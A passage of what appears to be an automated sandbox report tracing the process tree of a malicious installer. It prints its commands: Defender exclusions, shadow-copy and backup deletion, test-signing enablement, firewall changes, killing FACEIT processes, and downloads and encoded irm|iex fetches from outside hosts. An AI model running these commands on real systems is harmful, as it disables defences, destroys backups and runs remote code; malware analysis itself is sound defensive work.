    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -pHelloFriend! "C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\"
      4⤵
      Executes dropped EXE
      PID:1848
  - - C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
      "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Modifies security service
      Drops file in Drivers directory
      Modify Registry: Disable Windows Driver Blocklist
      Boot or Logon Autostart Execution: LSASS Driver
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3308
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" qfailure ExeGuardSvc
        5⤵
        Launches sc.exe
        
        PID:3476
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failure ExeGuardSvc reset= 86400 actions= restart/5000/restart/15000/restart/60000
        5⤵
        Launches sc.exe
        
        PID:3576
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failureflag ExeGuardSvc 1
        5⤵
        Launches sc.exe
        
        PID:2724
    - - C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /enum {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:4416
    - - C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /set testsigning on
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1140
    - - C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /enum {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:4292
  - - C:\Program Files\WindowsOptions\scvhost.exe
      "C:\Program Files\WindowsOptions\scvhost.exe"
      4⤵
      Modifies WinLogon for persistence
      UAC bypass
      Executes dropped EXE
      Drops file in Program Files directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:2912
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1532
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2036
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4744
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:4828
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2884
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:3136
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2144
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:5572
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4396
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:5368
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/asd.exe' -OutFile 'C:\Program Files\WindowsOptions\asd.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:852
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AYgBlAHIAcwBlAHIAawAuAHIAaQBwAC8AbwBuAGMAbwBuAG4AZQBjAHQALgBwAHMAMQAgAHwAIABpAGUAeAA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2512
  - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
      4⤵
      Executes dropped EXE
      Modifies trusted root certificate store through registry
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:5124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6048
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2836
    - - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5784
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        Executes a command shell one-liner
        
        PID:3276
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        7⤵
        Kills process with taskkill
        
        PID:1236
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        7⤵
        Kills process with taskkill
        
        PID:4116
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        7⤵
        Kills process with taskkill
        
        PID:5928
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4128
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:4552
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4504
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4804
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1356
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3096
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3024
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3420
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2608
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2524
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5284
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3440
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3364
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3376
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:5064
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4148
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4796
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:688
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2716
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2836
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3624
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:388
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2260
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5512
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4032
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2116
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4912
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:6056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5628
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3440
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:6120
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4156
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3376
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4600
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5572
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4276
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5064
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3212
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5024
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3276
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4764
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:264
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:4980
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4904
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4872
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6036
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4804
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1184
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:464
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4976
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5160
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4296
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3272
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6084
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6140
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4776
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5296
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4632
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2260
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3992
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3744
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4032
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2444
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3172
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:264
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2752
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3412
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4980
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5444
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2348
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5768
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4804
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5004
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3136
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5800
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2900
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3340
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:5544
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1432
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4496
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:336
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4672
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3508
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6052
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5600
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4424
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4256
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4504
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2348
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5216
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3396
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3512
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5884
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3212
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3928
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5368
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5028
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4892
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4040
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:936
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5740
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4708
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4404
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1372
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5624
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:252
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4120
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5408
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3680
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2528
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3592
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4172
        
